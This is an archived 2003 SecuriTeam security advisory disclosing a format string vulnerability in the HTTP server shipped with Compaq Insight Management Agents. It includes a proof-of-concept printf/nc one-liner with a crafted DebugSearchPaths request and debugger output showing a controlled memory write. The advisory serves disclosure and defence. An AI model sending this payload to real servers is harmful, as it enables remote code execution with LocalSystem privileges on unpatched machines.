

Securiteam: [NT] Format String Vulnerability in Compaq HTTP Servers (DebugSearchPaths)

[NT] Format String Vulnerability in Compaq HTTP Servers (DebugSearchPaths)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-08/0025.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 08/10/03

To: list@securiteam.com

Date: 10 Aug 2003 17:23:01 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Get Thawte's New Step-by-Step SSL Guide for MSIS

In this guide you will find out how to test, purchase, install and use a Thawte Digital Certificate on your MSIS web server. Throughout, best practices for set-up are highlighted to help you ensure efficient ongoing management of your encryption keys and digital certificates. Get your copy of this new guide now: <http://ad.doubleclick.net/clk;5903126;8265119;j>

Format String Vulnerability in Compaq HTTP Servers (DebugSearchPaths)

SUMMARY

"

<http://www29.compaq.com/falco/sp_detail.asp?Model=4214&Div=2&Os=93&SoftwareVer=17022>
Compaq Management Agents provide local alerting, DMI, SNMP and DMI web agents.

A format string vulnerability in Compaq HTTP Servers that comes with the Compaq Management Agents allows remote attackers to cause the product to execute arbitrary code.

DETAILS

Vulnerable Systems:

* Insight Management Agent Version: 5.00 H and prior

There is a format string vulnerability in ?Url=> SSI. Since the HTTP server executes with LocalSystem privileges, an attacker can use this

Securiteam: [NT] Format String Vulnerability in Compaq HTTP Servers (DebugSearchPaths)

format string to escalate his privileges on a target machine.

Proof of Concept:

```
$ printf "GET /<\x21.DebugSearchPaths>?Url=`perl -e 'print  
"A"x14`BBBB`perl -e 'print  
".%x"x1208`%%n> HTTP/1.0\n\n" | nc
```

Result:

```
0:005> g  
(9a8.934): Access violation – code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=42424242 ebx=0000006e ecx=000012eb edx=00000200 esi=00b440c0  
edi=00000800 eip=780127a8 esp=010287f8 ebp=01028a50 iopl=0 nv up ei pl zr  
na po nc  
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010246  
MSVCRT!setvbuf+65d:  
780127a8 8908 mov [eax],ecx ds:0023:42424242=????????  
*** WARNING: Unable to verify checksum for  
C:\PROGRA~1\Compaq\COMPAQ~1\CPQWEB~1\CpqHMMO.dll  
*** ERROR: Symbol file could not be found. Defaulted to export symbols for  
C:\PROGRA~1\Compaq\COMPAQ~1\CPQWEB~1\CpqHMMO.dll –
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:mcw@wcd.se> /bashis

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.